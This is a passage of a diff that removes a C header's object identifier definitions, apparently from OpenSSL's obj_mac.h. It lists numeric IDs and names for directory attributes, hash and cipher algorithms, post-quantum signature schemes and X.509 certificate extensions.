"subtreeMinimumQuality" -#define NID_singleLevelQuality 496 -#define LN_singleLevelQuality "singleLevelQuality" -#define NID_dSAQuality 495 -#define LN_dSAQuality "dSAQuality" -#define NID_buildingName 494 -#define LN_buildingName "buildingName" -#define NID_mailPreferenceOption 493 -#define LN_mailPreferenceOption "mailPreferenceOption" -#define NID_janetMailbox 492 -#define LN_janetMailbox "janetMailbox" -#define NID_organizationalStatus 491 -#define LN_organizationalStatus "organizationalStatus" -#define NID_uniqueIdentifier 102 -#define LN_uniqueIdentifier "uniqueIdentifier" -#define SN_uniqueIdentifier "uid" -#define NID_friendlyCountryName 490 -#define LN_friendlyCountryName "friendlyCountryName" -#define NID_pagerTelephoneNumber 489 -#define LN_pagerTelephoneNumber "pagerTelephoneNumber" -#define NID_mobileTelephoneNumber 488 -#define LN_mobileTelephoneNumber "mobileTelephoneNumber" -#define NID_personalTitle 487 -#define LN_personalTitle "personalTitle" -#define NID_homePostalAddress 486 -#define LN_homePostalAddress "homePostalAddress" -#define NID_associatedName 485 -#define LN_associatedName "associatedName" -#define NID_associatedDomain 484 -#define LN_associatedDomain "associatedDomain" -#define NID_cNAMERecord 483 -#define LN_cNAMERecord "cNAMERecord" -#define NID_sOARecord 482 -#define LN_sOARecord "sOARecord" -#define NID_nSRecord 481 -#define LN_nSRecord "nSRecord" -#define NID_mXRecord 480 -#define LN_mXRecord "mXRecord" -#define NID_pilotAttributeType27 479 -#define LN_pilotAttributeType27 "pilotAttributeType27" -#define NID_aRecord 478 -#define LN_aRecord "aRecord" -#define NID_domainComponent 391 -#define LN_domainComponent "domainComponent" -#define SN_domainComponent "DC" -#define NID_lastModifiedBy 477 -#define LN_lastModifiedBy "lastModifiedBy" -#define NID_lastModifiedTime 476 -#define LN_lastModifiedTime "lastModifiedTime" -#define NID_otherMailbox 475 -#define LN_otherMailbox "otherMailbox" -#define NID_secretary 474 -#define SN_secretary "secretary" -#define NID_homeTelephoneNumber 473 -#define LN_homeTelephoneNumber "homeTelephoneNumber" -#define NID_documentLocation 472 -#define LN_documentLocation "documentLocation" -#define NID_documentAuthor 471 -#define LN_documentAuthor "documentAuthor" -#define NID_documentVersion 470 -#define LN_documentVersion "documentVersion" -#define NID_documentTitle 469 -#define LN_documentTitle "documentTitle" -#define NID_documentIdentifier 468 -#define LN_documentIdentifier "documentIdentifier" -#define NID_manager 467 -#define SN_manager "manager" -#define NID_host 466 -#define SN_host "host" -#define NID_userClass 465 -#define LN_userClass "userClass" -#define NID_photo 464 -#define SN_photo "photo" -#define NID_roomNumber 463 -#define LN_roomNumber "roomNumber" -#define NID_favouriteDrink 462 -#define LN_favouriteDrink "favouriteDrink" -#define NID_info 461 -#define SN_info "info" -#define NID_rfc822Mailbox 460 -#define LN_rfc822Mailbox "rfc822Mailbox" -#define SN_rfc822Mailbox "mail" -#define NID_textEncodedORAddress 459 -#define LN_textEncodedORAddress "textEncodedORAddress" -#define NID_userId 458 -#define LN_userId "userId" -#define SN_userId "UID" -#define NID_qualityLabelledData 457 -#define LN_qualityLabelledData "qualityLabelledData" -#define NID_pilotDSA 456 -#define LN_pilotDSA "pilotDSA" -#define NID_pilotOrganization 455 -#define LN_pilotOrganization "pilotOrganization" -#define NID_simpleSecurityObject 454 -#define LN_simpleSecurityObject "simpleSecurityObject" -#define NID_friendlyCountry 453 -#define LN_friendlyCountry "friendlyCountry" -#define NID_domainRelatedObject 452 -#define LN_domainRelatedObject "domainRelatedObject" -#define NID_dNSDomain 451 -#define LN_dNSDomain "dNSDomain" -#define NID_rFC822localPart 450 -#define LN_rFC822localPart "rFC822localPart" -#define NID_Domain 392 -#define LN_Domain "Domain" -#define SN_Domain "domain" -#define NID_documentSeries 449 -#define LN_documentSeries "documentSeries" -#define NID_room 448 -#define SN_room "room" -#define NID_document 447 -#define SN_document "document" -#define NID_account 446 -#define SN_account "account" -#define NID_pilotPerson 445 -#define LN_pilotPerson "pilotPerson" -#define NID_pilotObject 444 -#define LN_pilotObject "pilotObject" -#define NID_caseIgnoreIA5StringSyntax 443 -#define LN_caseIgnoreIA5StringSyntax "caseIgnoreIA5StringSyntax" -#define NID_iA5StringSyntax 442 -#define LN_iA5StringSyntax "iA5StringSyntax" -#define NID_pilotGroups 441 -#define LN_pilotGroups "pilotGroups" -#define NID_pilotObjectClass 440 -#define LN_pilotObjectClass "pilotObjectClass" -#define NID_pilotAttributeSyntax 439 -#define LN_pilotAttributeSyntax "pilotAttributeSyntax" -#define NID_pilotAttributeType 438 -#define LN_pilotAttributeType "pilotAttributeType" -#define NID_pilot 437 -#define SN_pilot "pilot" -#define NID_ucl 436 -#define SN_ucl "ucl" -#define NID_pss 435 -#define SN_pss "pss" -#define NID_data 434 -#define SN_data "data" -#define NID_signedAssertion 1279 -#define SN_signedAssertion "signedAssertion" -#define NID_id_aa_ATSHashIndex_v3 1278 -#define SN_id_aa_ATSHashIndex_v3 "id-aa-ATSHashIndex-v3" -#define NID_id_aa_ATSHashIndex_v2 1277 -#define SN_id_aa_ATSHashIndex_v2 "id-aa-ATSHashIndex-v2" -#define NID_id_aa_ets_sigPolicyStore 1276 -#define SN_id_aa_ets_sigPolicyStore "id-aa-ets-sigPolicyStore" -#define NID_id_aa_ets_signerAttrV2 1275 -#define SN_id_aa_ets_signerAttrV2 "id-aa-ets-signerAttrV2" -#define NID_cades_attributes 1274 -#define SN_cades_attributes "cades-attributes" -#define NID_cades 1273 -#define SN_cades "cades" -#define NID_id_aa_ATSHashIndex 1272 -#define SN_id_aa_ATSHashIndex "id-aa-ATSHashIndex" -#define NID_id_aa_ets_archiveTimestampV3 1271 -#define SN_id_aa_ets_archiveTimestampV3 "id-aa-ets-archiveTimestampV3" -#define NID_id_aa_ets_SignaturePolicyDocument 1270 -#define SN_id_aa_ets_SignaturePolicyDocument "id-aa-ets-SignaturePolicyDocument" -#define NID_id_aa_ets_longTermValidation 1269 -#define SN_id_aa_ets_longTermValidation "id-aa-ets-longTermValidation" -#define NID_id_aa_ets_mimeType 1268 -#define SN_id_aa_ets_mimeType "id-aa-ets-mimeType" -#define NID_ess_attributes 1267 -#define SN_ess_attributes "ess-attributes" -#define NID_electronic_signature_standard 1266 -#define SN_electronic_signature_standard "electronic-signature-standard" -#define NID_etsi 1265 -#define SN_etsi "etsi" -#define NID_itu_t_identified_organization 1264 -#define SN_itu_t_identified_organization "itu-t-identified-organization" -#define NID_hold_instruction_reject 433 -#define LN_hold_instruction_reject "Hold Instruction Reject" -#define SN_hold_instruction_reject "holdInstructionReject" -#define NID_hold_instruction_call_issuer 432 -#define LN_hold_instruction_call_issuer "Hold Instruction Call Issuer" -#define SN_hold_instruction_call_issuer "holdInstructionCallIssuer" -#define NID_hold_instruction_none 431 -#define LN_hold_instruction_none "Hold Instruction None" -#define SN_hold_instruction_none "holdInstructionNone" -#define LN_hold_instruction_code "Hold Instruction Code" -#define SN_hold_instruction_code "holdInstructionCode" -#define NID_SLH_DSA_SHAKE_256f_WITH_SHAKE256 1486 -#define LN_SLH_DSA_SHAKE_256f_WITH_SHAKE256 "SLH-DSA-SHAKE-256f-WITH-SHAKE256" -#define SN_SLH_DSA_SHAKE_256f_WITH_SHAKE256 "id-hash-slh-dsa-shake-256f-with-shake256" -#define NID_SLH_DSA_SHAKE_256s_WITH_SHAKE256 1485 -#define LN_SLH_DSA_SHAKE_256s_WITH_SHAKE256 "SLH-DSA-SHAKE-256s-WITH-SHAKE256" -#define SN_SLH_DSA_SHAKE_256s_WITH_SHAKE256 "id-hash-slh-dsa-shake-256s-with-shake256" -#define NID_SLH_DSA_SHAKE_192f_WITH_SHAKE256 1484 -#define LN_SLH_DSA_SHAKE_192f_WITH_SHAKE256 "SLH-DSA-SHAKE-192f-WITH-SHAKE256" -#define SN_SLH_DSA_SHAKE_192f_WITH_SHAKE256 "id-hash-slh-dsa-shake-192f-with-shake256" -#define NID_SLH_DSA_SHAKE_192s_WITH_SHAKE256 1483 -#define LN_SLH_DSA_SHAKE_192s_WITH_SHAKE256 "SLH-DSA-SHAKE-192s-WITH-SHAKE256" -#define SN_SLH_DSA_SHAKE_192s_WITH_SHAKE256 "id-hash-slh-dsa-shake-192s-with-shake256" -#define NID_SLH_DSA_SHAKE_128f_WITH_SHAKE128 1482 -#define LN_SLH_DSA_SHAKE_128f_WITH_SHAKE128 "SLH-DSA-SHAKE-128f-WITH-SHAKE128" -#define SN_SLH_DSA_SHAKE_128f_WITH_SHAKE128 "id-hash-slh-dsa-shake-128f-with-shake128" -#define NID_SLH_DSA_SHAKE_128s_WITH_SHAKE128 1481 -#define LN_SLH_DSA_SHAKE_128s_WITH_SHAKE128 "SLH-DSA-SHAKE-128s-WITH-SHAKE128" -#define SN_SLH_DSA_SHAKE_128s_WITH_SHAKE128 "id-hash-slh-dsa-shake-128s-with-shake128" -#define NID_SLH_DSA_SHA2_256f_WITH_SHA512 1480 -#define LN_SLH_DSA_SHA2_256f_WITH_SHA512 "SLH-DSA-SHA2-256f-WITH-SHA512" -#define SN_SLH_DSA_SHA2_256f_WITH_SHA512 "id-hash-slh-dsa-sha2-256f-with-sha512" -#define NID_SLH_DSA_SHA2_256s_WITH_SHA512 1479 -#define LN_SLH_DSA_SHA2_256s_WITH_SHA512 "SLH-DSA-SHA2-256s-WITH-SHA512" -#define SN_SLH_DSA_SHA2_256s_WITH_SHA512 "id-hash-slh-dsa-sha2-256s-with-sha512" -#define NID_SLH_DSA_SHA2_192f_WITH_SHA512 1478 -#define LN_SLH_DSA_SHA2_192f_WITH_SHA512 "SLH-DSA-SHA2-192f-WITH-SHA512" -#define SN_SLH_DSA_SHA2_192f_WITH_SHA512 "id-hash-slh-dsa-sha2-192f-with-sha512" -#define NID_SLH_DSA_SHA2_192s_WITH_SHA512 1477 -#define LN_SLH_DSA_SHA2_192s_WITH_SHA512 "SLH-DSA-SHA2-192s-WITH-SHA512" -#define SN_SLH_DSA_SHA2_192s_WITH_SHA512 "id-hash-slh-dsa-sha2-192s-with-sha512" -#define NID_SLH_DSA_SHA2_128f_WITH_SHA256 1476 -#define LN_SLH_DSA_SHA2_128f_WITH_SHA256 "SLH-DSA-SHA2-128f-WITH-SHA256" -#define SN_SLH_DSA_SHA2_128f_WITH_SHA256 "id-hash-slh-dsa-sha2-128f-with-sha256" -#define NID_SLH_DSA_SHA2_128s_WITH_SHA256 1475 -#define LN_SLH_DSA_SHA2_128s_WITH_SHA256 "SLH-DSA-SHA2-128s-WITH-SHA256" -#define SN_SLH_DSA_SHA2_128s_WITH_SHA256 "id-hash-slh-dsa-sha2-128s-with-sha256" -#define NID_HASH_ML_DSA_87_WITH_SHA512 1474 -#define LN_HASH_ML_DSA_87_WITH_SHA512 "HASH-ML-DSA-87-WITH-SHA512" -#define SN_HASH_ML_DSA_87_WITH_SHA512 "id-hash-ml-dsa-87-with-sha512" -#define NID_HASH_ML_DSA_65_WITH_SHA512 1473 -#define LN_HASH_ML_DSA_65_WITH_SHA512 "HASH-ML-DSA-65-WITH-SHA512" -#define SN_HASH_ML_DSA_65_WITH_SHA512 "id-hash-ml-dsa-65-with-sha512" -#define NID_HASH_ML_DSA_44_WITH_SHA512 1472 -#define LN_HASH_ML_DSA_44_WITH_SHA512 "HASH-ML-DSA-44-WITH-SHA512" -#define SN_HASH_ML_DSA_44_WITH_SHA512 "id-hash-ml-dsa-44-with-sha512" -#define NID_SLH_DSA_SHAKE_256f 1471 -#define LN_SLH_DSA_SHAKE_256f "SLH-DSA-SHAKE-256f" -#define SN_SLH_DSA_SHAKE_256f "id-slh-dsa-shake-256f" -#define NID_SLH_DSA_SHAKE_256s 1470 -#define LN_SLH_DSA_SHAKE_256s "SLH-DSA-SHAKE-256s" -#define SN_SLH_DSA_SHAKE_256s "id-slh-dsa-shake-256s" -#define NID_SLH_DSA_SHAKE_192f 1469 -#define LN_SLH_DSA_SHAKE_192f "SLH-DSA-SHAKE-192f" -#define SN_SLH_DSA_SHAKE_192f "id-slh-dsa-shake-192f" -#define NID_SLH_DSA_SHAKE_192s 1468 -#define LN_SLH_DSA_SHAKE_192s "SLH-DSA-SHAKE-192s" -#define SN_SLH_DSA_SHAKE_192s "id-slh-dsa-shake-192s" -#define NID_SLH_DSA_SHAKE_128f 1467 -#define LN_SLH_DSA_SHAKE_128f "SLH-DSA-SHAKE-128f" -#define SN_SLH_DSA_SHAKE_128f "id-slh-dsa-shake-128f" -#define NID_SLH_DSA_SHAKE_128s 1466 -#define LN_SLH_DSA_SHAKE_128s "SLH-DSA-SHAKE-128s" -#define SN_SLH_DSA_SHAKE_128s "id-slh-dsa-shake-128s" -#define NID_SLH_DSA_SHA2_256f 1465 -#define LN_SLH_DSA_SHA2_256f "SLH-DSA-SHA2-256f" -#define SN_SLH_DSA_SHA2_256f "id-slh-dsa-sha2-256f" -#define NID_SLH_DSA_SHA2_256s 1464 -#define LN_SLH_DSA_SHA2_256s "SLH-DSA-SHA2-256s" -#define SN_SLH_DSA_SHA2_256s "id-slh-dsa-sha2-256s" -#define NID_SLH_DSA_SHA2_192f 1463 -#define LN_SLH_DSA_SHA2_192f "SLH-DSA-SHA2-192f" -#define SN_SLH_DSA_SHA2_192f "id-slh-dsa-sha2-192f" -#define NID_SLH_DSA_SHA2_192s 1462 -#define LN_SLH_DSA_SHA2_192s "SLH-DSA-SHA2-192s" -#define SN_SLH_DSA_SHA2_192s "id-slh-dsa-sha2-192s" -#define NID_SLH_DSA_SHA2_128f 1461 -#define LN_SLH_DSA_SHA2_128f "SLH-DSA-SHA2-128f" -#define SN_SLH_DSA_SHA2_128f "id-slh-dsa-sha2-128f" -#define NID_SLH_DSA_SHA2_128s 1460 -#define LN_SLH_DSA_SHA2_128s "SLH-DSA-SHA2-128s" -#define SN_SLH_DSA_SHA2_128s "id-slh-dsa-sha2-128s" -#define NID_ML_DSA_87 1459 -#define LN_ML_DSA_87 "ML-DSA-87" -#define SN_ML_DSA_87 "id-ml-dsa-87" -#define NID_ML_DSA_65 1458 -#define LN_ML_DSA_65 "ML-DSA-65" -#define SN_ML_DSA_65 "id-ml-dsa-65" -#define NID_ML_DSA_44 1457 -#define LN_ML_DSA_44 "ML-DSA-44" -#define SN_ML_DSA_44 "id-ml-dsa-44" -#define NID_RSA_SHA3_512 1119 -#define LN_RSA_SHA3_512 "RSA-SHA3-512" -#define SN_RSA_SHA3_512 "id-rsassa-pkcs1-v1_5-with-sha3-512" -#define NID_RSA_SHA3_384 1118 -#define LN_RSA_SHA3_384 "RSA-SHA3-384" -#define SN_RSA_SHA3_384 "id-rsassa-pkcs1-v1_5-with-sha3-384" -#define NID_RSA_SHA3_256 1117 -#define LN_RSA_SHA3_256 "RSA-SHA3-256" -#define SN_RSA_SHA3_256 "id-rsassa-pkcs1-v1_5-with-sha3-256" -#define NID_RSA_SHA3_224 1116 -#define LN_RSA_SHA3_224 "RSA-SHA3-224" -#define SN_RSA_SHA3_224 "id-rsassa-pkcs1-v1_5-with-sha3-224" -#define NID_ecdsa_with_SHA3_512 1115 -#define LN_ecdsa_with_SHA3_512 "ecdsa_with_SHA3-512" -#define SN_ecdsa_with_SHA3_512 "id-ecdsa-with-sha3-512" -#define NID_ecdsa_with_SHA3_384 1114 -#define LN_ecdsa_with_SHA3_384 "ecdsa_with_SHA3-384" -#define SN_ecdsa_with_SHA3_384 "id-ecdsa-with-sha3-384" -#define NID_ecdsa_with_SHA3_256 1113 -#define LN_ecdsa_with_SHA3_256 "ecdsa_with_SHA3-256" -#define SN_ecdsa_with_SHA3_256 "id-ecdsa-with-sha3-256" -#define NID_ecdsa_with_SHA3_224 1112 -#define LN_ecdsa_with_SHA3_224 "ecdsa_with_SHA3-224" -#define SN_ecdsa_with_SHA3_224 "id-ecdsa-with-sha3-224" -#define NID_dsa_with_SHA3_512 1111 -#define LN_dsa_with_SHA3_512 "dsa_with_SHA3-512" -#define SN_dsa_with_SHA3_512 "id-dsa-with-sha3-512" -#define NID_dsa_with_SHA3_384 1110 -#define LN_dsa_with_SHA3_384 "dsa_with_SHA3-384" -#define SN_dsa_with_SHA3_384 "id-dsa-with-sha3-384" -#define NID_dsa_with_SHA3_256 1109 -#define LN_dsa_with_SHA3_256 "dsa_with_SHA3-256" -#define SN_dsa_with_SHA3_256 "id-dsa-with-sha3-256" -#define NID_dsa_with_SHA3_224 1108 -#define LN_dsa_with_SHA3_224 "dsa_with_SHA3-224" -#define SN_dsa_with_SHA3_224 "id-dsa-with-sha3-224" -#define NID_dsa_with_SHA512 1107 -#define LN_dsa_with_SHA512 "dsa_with_SHA512" -#define SN_dsa_with_SHA512 "id-dsa-with-sha512" -#define NID_dsa_with_SHA384 1106 -#define LN_dsa_with_SHA384 "dsa_with_SHA384" -#define SN_dsa_with_SHA384 "id-dsa-with-sha384" -#define NID_dsa_with_SHA256 803 -#define SN_dsa_with_SHA256 "dsa_with_SHA256" -#define NID_dsa_with_SHA224 802 -#define SN_dsa_with_SHA224 "dsa_with_SHA224" -#define NID_kmac256 1197 -#define LN_kmac256 "kmac256" -#define SN_kmac256 "KMAC256" -#define NID_kmac128 1196 -#define LN_kmac128 "kmac128" -#define SN_kmac128 "KMAC128" -#define NID_hmac_sha3_512 1105 -#define LN_hmac_sha3_512 "hmac-sha3-512" -#define SN_hmac_sha3_512 "id-hmacWithSHA3-512" -#define NID_hmac_sha3_384 1104 -#define LN_hmac_sha3_384 "hmac-sha3-384" -#define SN_hmac_sha3_384 "id-hmacWithSHA3-384" -#define NID_hmac_sha3_256 1103 -#define LN_hmac_sha3_256 "hmac-sha3-256" -#define SN_hmac_sha3_256 "id-hmacWithSHA3-256" -#define NID_hmac_sha3_224 1102 -#define LN_hmac_sha3_224 "hmac-sha3-224" -#define SN_hmac_sha3_224 "id-hmacWithSHA3-224" -#define NID_shake256 1101 -#define LN_shake256 "shake256" -#define SN_shake256 "SHAKE256" -#define NID_shake128 1100 -#define LN_shake128 "shake128" -#define SN_shake128 "SHAKE128" -#define NID_sha3_512 1099 -#define LN_sha3_512 "sha3-512" -#define SN_sha3_512 "SHA3-512" -#define NID_sha3_384 1098 -#define LN_sha3_384 "sha3-384" -#define SN_sha3_384 "SHA3-384" -#define NID_sha3_256 1097 -#define LN_sha3_256 "sha3-256" -#define SN_sha3_256 "SHA3-256" -#define NID_sha3_224 1096 -#define LN_sha3_224 "sha3-224" -#define SN_sha3_224 "SHA3-224" -#define NID_sha512_256 1095 -#define LN_sha512_256 "sha512-256" -#define SN_sha512_256 "SHA512-256" -#define NID_sha512_224 1094 -#define LN_sha512_224 "sha512-224" -#define SN_sha512_224 "SHA512-224" -#define NID_sha224 675 -#define LN_sha224 "sha224" -#define SN_sha224 "SHA224" -#define NID_sha512 674 -#define LN_sha512 "sha512" -#define SN_sha512 "SHA512" -#define NID_sha384 673 -#define LN_sha384 "sha384" -#define SN_sha384 "SHA384" -#define NID_sha256 672 -#define LN_sha256 "sha256" -#define NID_des_ede3_cfb8 659 -#define LN_des_ede3_cfb8 "des-ede3-cfb8" -#define SN_des_ede3_cfb8 "DES-EDE3-CFB8" -#define NID_des_ede3_cfb1 658 -#define LN_des_ede3_cfb1 "des-ede3-cfb1" -#define SN_des_ede3_cfb1 "DES-EDE3-CFB1" -#define NID_des_cfb8 657 -#define LN_des_cfb8 "des-cfb8" -#define SN_des_cfb8 "DES-CFB8" -#define NID_des_cfb1 656 -#define LN_des_cfb1 "des-cfb1" -#define SN_des_cfb1 "DES-CFB1" -#define NID_aes_256_ocb 960 -#define LN_aes_256_ocb "aes-256-ocb" -#define SN_aes_256_ocb "AES-256-OCB" -#define NID_aes_192_ocb 959 -#define LN_aes_192_ocb "aes-192-ocb" -#define SN_aes_192_ocb "AES-192-OCB" -#define NID_aes_128_ocb 958 -#define LN_aes_128_ocb "aes-128-ocb" -#define SN_aes_128_ocb "AES-128-OCB" -#define NID_aes_256_ctr 906 -#define LN_aes_256_ctr "aes-256-ctr" -#define SN_aes_256_ctr "AES-256-CTR" -#define NID_aes_192_ctr 905 -#define LN_aes_192_ctr "aes-192-ctr" -#define SN_aes_192_ctr "AES-192-CTR" -#define NID_aes_128_ctr 904 -#define LN_aes_128_ctr "aes-128-ctr" -#define SN_aes_128_ctr "AES-128-CTR" -#define NID_aes_256_cfb8 655 -#define LN_aes_256_cfb8 "aes-256-cfb8" -#define SN_aes_256_cfb8 "AES-256-CFB8" -#define NID_aes_192_cfb8 654 -#define LN_aes_192_cfb8 "aes-192-cfb8" -#define SN_aes_192_cfb8 "AES-192-CFB8" -#define NID_aes_128_cfb8 653 -#define LN_aes_128_cfb8 "aes-128-cfb8" -#define SN_aes_128_cfb8 "AES-128-CFB8" -#define NID_aes_256_cfb1 652 -#define LN_aes_256_cfb1 "aes-256-cfb1" -#define SN_aes_256_cfb1 "AES-256-CFB1" -#define NID_aes_192_cfb1 651 -#define LN_aes_192_cfb1 "aes-192-cfb1" -#define SN_aes_192_cfb1 "AES-192-CFB1" -#define NID_aes_128_cfb1 650 -#define LN_aes_128_cfb1 "aes-128-cfb1" -#define SN_aes_128_cfb1 "AES-128-CFB1" -#define NID_aes_256_xts 914 -#define LN_aes_256_xts "aes-256-xts" -#define SN_aes_256_xts "AES-256-XTS" -#define NID_aes_128_xts 913 -#define LN_aes_128_xts "aes-128-xts" -#define SN_aes_128_xts "AES-128-XTS" -#define NID_id_aes256_wrap_pad 903 -#define SN_id_aes256_wrap_pad "id-aes256-wrap-pad" -#define NID_aes_256_ccm 902 -#define LN_aes_256_ccm "aes-256-ccm" -#define SN_aes_256_ccm "id-aes256-CCM" -#define NID_aes_256_gcm 901 -#define LN_aes_256_gcm "aes-256-gcm" -#define SN_aes_256_gcm "id-aes256-GCM" -#define NID_id_aes256_wrap 790 -#define SN_id_aes256_wrap "id-aes256-wrap" -#define NID_aes_256_cfb128 429 -#define LN_aes_256_cfb128 "aes-256-cfb" -#define SN_aes_256_cfb128 "AES-256-CFB" -#define NID_aes_256_ofb128 428 -#define LN_aes_256_ofb128 "aes-256-ofb" -#define SN_aes_256_ofb128 "AES-256-OFB" -#define NID_aes_256_cbc 427 -#define LN_aes_256_cbc "aes-256-cbc" -#define NID_aes_256_ecb 426 -#define LN_aes_256_ecb "aes-256-ecb" -#define SN_aes_256_ecb "AES-256-ECB" -#define NID_id_aes192_wrap_pad 900 -#define SN_id_aes192_wrap_pad "id-aes192-wrap-pad" -#define NID_aes_192_ccm 899 -#define LN_aes_192_ccm "aes-192-ccm" -#define SN_aes_192_ccm "id-aes192-CCM" -#define NID_aes_192_gcm 898 -#define LN_aes_192_gcm "aes-192-gcm" -#define SN_aes_192_gcm "id-aes192-GCM" -#define NID_id_aes192_wrap 789 -#define SN_id_aes192_wrap "id-aes192-wrap" -#define NID_aes_192_cfb128 425 -#define LN_aes_192_cfb128 "aes-192-cfb" -#define SN_aes_192_cfb128 "AES-192-CFB" -#define NID_aes_192_ofb128 424 -#define LN_aes_192_ofb128 "aes-192-ofb" -#define SN_aes_192_ofb128 "AES-192-OFB" -#define NID_aes_192_cbc 423 -#define LN_aes_192_cbc "aes-192-cbc" -#define SN_aes_192_cbc "AES-192-CBC" -#define NID_aes_192_ecb 422 -#define LN_aes_192_ecb "aes-192-ecb" -#define SN_aes_192_ecb "AES-192-ECB" -#define NID_id_aes128_wrap_pad 897 -#define SN_id_aes128_wrap_pad "id-aes128-wrap-pad" -#define NID_aes_128_ccm 896 -#define LN_aes_128_ccm "aes-128-ccm" -#define SN_aes_128_ccm "id-aes128-CCM" -#define NID_aes_128_gcm 895 -#define LN_aes_128_gcm "aes-128-gcm" -#define SN_aes_128_gcm "id-aes128-GCM" -#define NID_id_aes128_wrap 788 -#define SN_id_aes128_wrap "id-aes128-wrap" -#define NID_aes_128_cfb128 421 -#define LN_aes_128_cfb128 "aes-128-cfb" -#define SN_aes_128_cfb128 "AES-128-CFB" -#define NID_aes_128_ofb128 420 -#define LN_aes_128_ofb128 "aes-128-ofb" -#define SN_aes_128_ofb128 "AES-128-OFB" -#define NID_aes_128_cbc 419 -#define LN_aes_128_cbc "aes-128-cbc" -#define SN_aes_128_cbc "AES-128-CBC" -#define NID_aes_128_ecb 418 -#define LN_aes_128_ecb "aes-128-ecb" -#define SN_aes_128_ecb "AES-128-ECB" -#define NID_zlib_compression 125 -#define LN_zlib_compression "zlib compression" -#define SN_zlib_compression "ZLIB" -#define NID_id_hex_multipart_message 508 -#define LN_id_hex_multipart_message "id-hex-multipart-message" -#define SN_id_hex_multipart_message "id-hex-multipart-message" -#define NID_id_hex_partial_message 507 -#define LN_id_hex_partial_message "id-hex-partial-message" -#define SN_id_hex_partial_message "id-hex-partial-message" -#define NID_mime_mhs_bodies 506 -#define LN_mime_mhs_bodies "mime-mhs-bodies" -#define SN_mime_mhs_bodies "mime-mhs-bodies" -#define NID_mime_mhs_headings 505 -#define LN_mime_mhs_headings "mime-mhs-headings" -#define SN_mime_mhs_headings "mime-mhs-headings" -#define NID_mime_mhs 504 -#define LN_mime_mhs "MIME MHS" -#define SN_mime_mhs "mime-mhs" -#define NID_id_kp_wisun_fan_device 1322 -#define LN_id_kp_wisun_fan_device "Wi-SUN Alliance Field Area Network (FAN)" -#define SN_id_kp_wisun_fan_device "id-kp-wisun-fan-device" -#define NID_dcObject 390 -#define LN_dcObject "dcObject" -#define SN_dcObject "dcobject" -#define NID_Enterprises 389 -#define LN_Enterprises "Enterprises" -#define SN_Enterprises "enterprises" -#define NID_Mail 388 -#define LN_Mail "Mail" -#define NID_SNMPv2 387 -#define LN_SNMPv2 "SNMPv2" -#define SN_SNMPv2 "snmpv2" -#define NID_Security 386 -#define LN_Security "Security" -#define SN_Security "security" -#define NID_Private 385 -#define LN_Private "Private" -#define SN_Private "private" -#define NID_Experimental 384 -#define LN_Experimental "Experimental" -#define SN_Experimental "experimental" -#define NID_Management 383 -#define LN_Management "Management" -#define SN_Management "mgmt" -#define NID_Directory 382 -#define LN_Directory "Directory" -#define SN_Directory "directory" -#define NID_iana 381 -#define LN_iana "iana" -#define SN_iana "IANA" -#define NID_dod 380 -#define LN_dod "dod" -#define SN_dod "DOD" -#define NID_org 379 -#define LN_org "org" -#define SN_org "ORG" -#define NID_ns_sgc 139 -#define LN_ns_sgc "Netscape Server Gated Crypto" -#define SN_ns_sgc "nsSGC" -#define NID_netscape_cert_sequence 79 -#define LN_netscape_cert_sequence "Netscape Certificate Sequence" -#define SN_netscape_cert_sequence "nsCertSequence" -#define NID_netscape_comment 78 -#define LN_netscape_comment "Netscape Comment" -#define SN_netscape_comment "nsComment" -#define NID_netscape_ssl_server_name 77 -#define LN_netscape_ssl_server_name "Netscape SSL Server Name" -#define SN_netscape_ssl_server_name "nsSslServerName" -#define NID_netscape_ca_policy_url 76 -#define LN_netscape_ca_policy_url "Netscape CA Policy Url" -#define SN_netscape_ca_policy_url "nsCaPolicyUrl" -#define NID_netscape_renewal_url 75 -#define LN_netscape_renewal_url "Netscape Renewal Url" -#define SN_netscape_renewal_url "nsRenewalUrl" -#define NID_netscape_ca_revocation_url 74 -#define LN_netscape_ca_revocation_url "Netscape CA Revocation Url" -#define SN_netscape_ca_revocation_url "nsCaRevocationUrl" -#define NID_netscape_revocation_url 73 -#define LN_netscape_revocation_url "Netscape Revocation Url" -#define SN_netscape_revocation_url "nsRevocationUrl" -#define NID_netscape_base_url 72 -#define LN_netscape_base_url "Netscape Base Url" -#define SN_netscape_base_url "nsBaseUrl" -#define NID_netscape_cert_type 71 -#define LN_netscape_cert_type "Netscape Cert Type" -#define SN_netscape_cert_type "nsCertType" -#define NID_netscape_data_type 59 -#define LN_netscape_data_type "Netscape Data Type" -#define SN_netscape_data_type "nsDataType" -#define NID_netscape_cert_extension 58 -#define LN_netscape_cert_extension "Netscape Certificate Extension" -#define SN_netscape_cert_extension "nsCertExt" -#define NID_netscape 57 -#define LN_netscape "Netscape Communications Corp." -#define SN_netscape "Netscape" -#define NID_anyExtendedKeyUsage 910 -#define LN_anyExtendedKeyUsage "Any Extended Key Usage" -#define SN_anyExtendedKeyUsage "anyExtendedKeyUsage" -#define NID_associated_information 1319 -#define LN_associated_information "X509v3 Associated Information" -#define SN_associated_information "associatedInformation" -#define NID_alt_signature_value 1318 -#define LN_alt_signature_value "X509v3 Alternative Signature Value" -#define SN_alt_signature_value "altSignatureValue" -#define NID_alt_signature_algorithm 1317 -#define LN_alt_signature_algorithm "X509v3 Alternative Signature Algorithm" -#define SN_alt_signature_algorithm "altSignatureAlgorithm" -#define NID_subject_alt_public_key_info 1316 -#define LN_subject_alt_public_key_info "X509v3 Subject Alternative Public Key Info" -#define SN_subject_alt_public_key_info "subjectAltPublicKeyInfo" -#define NID_prot_restrict 1315 -#define LN_prot_restrict "X509v3 Protocol Restriction" -#define SN_prot_restrict "protRestrict" -#define NID_authorization_validation 1314 -#define LN_authorization_validation "X509v3 Authorization Validation" -#define SN_authorization_validation "authorizationValidation" -#define NID_holder_name_constraints 1313 -#define LN_holder_name_constraints "X509v3 Holder Name Constraints" -#define SN_holder_name_constraints "holderNameConstraints" -#define NID_attribute_mappings 1312 -#define LN_attribute_mappings "X509v3 Attribute Mappings" -#define SN_attribute_mappings "attributeMappings" -#define NID_allowed_attribute_assignments 1311 -#define LN_allowed_attribute_assignments "X509v3 Allowed Attribute Assignments" -#define SN_allowed_attribute_assignments "allowedAttributeAssignments" -#define NID_group_ac 1310 -#define LN_group_ac "X509v3 Group Attribute Certificate" -#define SN_group_ac "groupAC" -#define NID_single_use 1309 -#define LN_single_use "X509v3 Single Use" -#define SN_single_use "singleUse" -#define NID_issued_on_behalf_of 1308 -#define LN_issued_on_behalf_of "X509v3 Issued On Behalf Of" -#define SN_issued_on_behalf_of "issuedOnBehalfOf" -#define NID_id_aa_issuing_distribution_point 1307 -#define 